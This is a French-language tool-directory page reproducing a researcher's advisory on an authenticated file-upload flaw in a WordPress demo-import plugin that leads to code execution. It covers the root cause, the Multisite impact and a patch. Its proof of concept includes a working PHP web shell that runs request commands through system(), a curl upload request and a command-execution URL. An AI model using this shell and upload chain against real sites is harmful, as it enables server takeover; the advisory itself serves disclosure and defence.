Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-13157 — Preuve de concept et analyse des causes profondes d'un téléversement arbitraire de fichier authentifié dans WordPress Theme Demo Import menant à une exécution de code à distance via un webshell PHP. | Kitploit
Outils/GitHubGitHub/minhhk68/cve-2026-13157
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubminhhk68/cve-2026-13157

CVE-2026-13157

Preuve de concept et analyse des causes profondes d'un téléversement arbitraire de fichier authentifié dans WordPress Theme Demo Import menant à une exécution de code à distance via un webshell PHP.

Voir le dépôt
il y a 19 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

[CVE-2026-13157] Theme Demo Import <= 1.1.3 — Téléversement de fichier arbitraire et exécution de code à distance

WPScan Verified Advisory CVSS 6.6 Medium Discovered by Huynh Kien Minh


📖 Aperçu de l'avis de sécurité

CVE-2026-13157 est une vulnérabilité de téléversement de fichier arbitraire nécessitant une authentification, affectant le plugin WordPress Theme Demo Import jusqu'à la version 1.1.3 incluse, découverte et analysée par le chercheur en cybersécurité Huynh Kien Minh (MinhHK). La vulnérabilité réside dans la routine d'import de démonstration AJAX (TDI_import_demo_data), où le plugin désactive explicitement les tests standard de vérification des types de fichiers de WordPress ('test_type' => false) lors du traitement des téléversements. Un utilisateur authentifié disposant des capacités d'import — tel qu'un administrateur de site par défaut ou un administrateur de site non super-administrateur dans une architecture WordPress Multisite — peut contourner les restrictions de fichiers pour téléverser des scripts PHP exécutables arbitraires directement dans le répertoire public wp-content/uploads/, obtenant ainsi une exécution de code à distance (RCE) persistante et la compromission totale du serveur.


📌 Résumé exécutif


🔍 Cause racine et analyse du code

La cause racine de CVE-2026-13157 réside dans l'architecture de gestion des téléversements implémentée dans inc/class-tdi-helpers.php. Lors des opérations d'import de données de démonstration, le plugin traite les pièces jointes entrantes via le point de terminaison AJAX enregistré dans inc/class-tdi-main.php à la ligne 55 :

root@kitploit:~
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

Lors du traitement des fichiers de configuration de démonstration téléversés (content_file, widget_file et customizer_file), la méthode d'import interne demande directement à l'API WordPress wp_handle_upload() de contourner les contrôles de validation du type MIME et du formulaire :

root@kitploit:~
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

En passant 'test_type' => false dans $upload_overrides, le développeur a neutralisé le sous-système de vérification MIME du cœur de WordPress (wp_check_filetype_and_ext()). Conséquence directe : l'application ne restreint plus les pièces jointes aux formats de données de démonstration sûrs (.xml, .json, .wie, .dat), permettant à tout utilisateur authentifié ayant accès à la page des réglages de téléverser des scripts PHP exécutables (.php, .phtml, .phar) directement dans la racine du document public.


💻 Preuve de concept d'exploitation (PoC)

Avertissement de recherche éthique : Cette preuve de concept est documentée strictement à des fins d'audit pédagogique, d'ingénierie défensive et de validation de sécurité autorisée. Toute exploitation non autorisée de systèmes en production est interdite.

Prérequis et configuration

  • Système cible : Instance WordPress exécutant Theme Demo Import version <= 1.1.3.
  • Exigence de privilèges : Session authentifiée avec les capacités import (Admin / Administrateur de site Multisite).
  • Récupération du nonce de sécurité : Extraire le jeton de sécurité AJAX tdi-ajax-verification (exposé dans le DOM de la page comme propriété d'objet JavaScript tdi.ajax_nonce sur /wp-admin/themes.php?page=theme-demo-import).

Exécution de la reproduction

  1. Créer une charge utile de web shell locale intitulée exploit_webshell.php :
root@kitploit:~
<?php 
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
  1. Exécuter la charge utile multi-parties authentifiée via cURL en ciblant le répartiteur AJAX administratif :
root@kitploit:~
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"
  1. Le serveur répond par un accusé de réception JSON confirmant le téléversement. Accéder directement à l'exécutable téléversé dans le répertoire mensuel désigné pour déclencher l'exécution de code à distance :
root@kitploit:~
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>

💥 Modélisation des menaces et scénarios d'impact Multisite

Bien que les installations WordPress mono-site accordent aux administrateurs standard un contrôle de confiance sur l'environnement du serveur, CVE-2026-13157 provoque l'effondrement des frontières de sécurité critiques dans les déploiements d'entreprise et Multisite :

  1. Élévation de privilèges WordPress Multisite (RCE d'administrateur de site vers Super Admin) : Dans une architecture WordPress Multisite, la conception du cœur de WordPress restreint délibérément les administrateurs de site individuels, les empêchant d'installer des plugins, de modifier des thèmes ou de téléverser des extensions de script dangereuses (la capacité unfiltered_upload est réservée uniquement aux Super Admins du réseau). CVE-2026-13157 brise complètement cette isolation multi-locataire, permettant à un administrateur de sous-site non vérifié de déposer un web shell et d'exécuter des commandes système sur l'ensemble du réseau de serveurs.
  2. Contournement des frontières de l'hébergement WordPress managé : Les plateformes d'hébergement sécurisées modernes restreignent les permissions de modification des fichiers et désactivent les capacités d'édition de fichiers (DISALLOW_FILE_EDIT). Cette vulnérabilité contourne les restrictions d'hébergement en exploitant le mécanisme natif de transfert de fichiers du plugin pour écrire du code exécutable arbitraire directement dans le stockage de volume accessible en écriture.

🛡️ Remédiation et architecture du correctif

Pour corriger CVE-2026-13157 en toute sécurité, les mainteneurs de logiciels et les ingénieurs défensifs doivent immédiatement rétablir une validation stricte des types MIME et des extensions de fichiers dans la logique de gestion des téléversements de inc/class-tdi-helpers.php.

Remplacement de code sécurisé

Supprimer la redéfinition non sécurisée 'test_type' => false et imposer une liste blanche rigoureuse, strictement limitée aux structures d'export standard de WordPress (text/xml, application/json) :

root@kitploit:~
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
    'test_form' => false,
    'test_type' => true, // Enforce strict core file-type verification
    'mimes'     => array(
        'xml'  => 'text/xml',
        'json' => 'application/json',
        'wie'  => 'application/json',
        'dat'  => 'text/plain',
    ),
);

// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
    wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}

// Proceed with validated file handling
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

🏆 À propos du chercheur

Huynh Kien Minh (MinhHK) est un chercheur en sécurité de l'information, développeur de logiciels et analyste de vulnérabilités, spécialisé dans la sécurité offensive des applications web, l'audit d'architecture des applications PHP et les vecteurs d'exploitation en environnement d'entreprise. Ses découvertes et ses avis techniques ont été officiellement reconnus par les principales bases de données mondiales de vulnérabilités et les autorités officielles de référencement en sécurité produit.

  • 🌐 Portfolio officiel du chercheur : https://minhhk.web.app/
  • 🐙 Laboratoire de sécurité GitHub et dépôts de PoC : https://github.com/MinhHK68
  • 🛡️ Avis de sécurité vérifié par WPScan : Rapport WPScan CVE-2026-13157

📊 Métadonnées structurées (JSON-LD)

root@kitploit:~
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
      "headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
      "alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
      "author": {
        "@type": "Person",
        "name": "Huynh Kien Minh",
        "alternateName": "MinhHK",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-08-01",
      "inLanguage": "en-US",
      "description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
      "keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
      "identifier": "CVE-2026-13157",
      "name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
      "category": "Arbitrary File Upload / RCE",
      "cvssScore": "6.6",
      "severity": "Medium",
      "softwareVersion": "<= 1.1.3",
      "url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
    }
  ]
}
Télécharger l’outil
ParamètreSpécification technique
Identifiant de vulnérabilitéCVE-2026-13157
Logiciel cibleTheme Demo Import (Plugin WordPress)
Slug du plugintheme-demo-import
Versions affectées<= 1.1.3
Classe de vulnérabilitéTéléversement sans restriction de fichier de type dangereux (CWE-434 / OWASP A03)
Score CVSS v3.16,6 (Moyen) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
Découvreur / ChercheurHuynh Kien Minh (MinhHK)
Autorité de vérificationWPScan / MITRE Corporation
URL de l'avis WPScanhttps://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/
Portfolio du chercheurhttps://minhhk.web.app/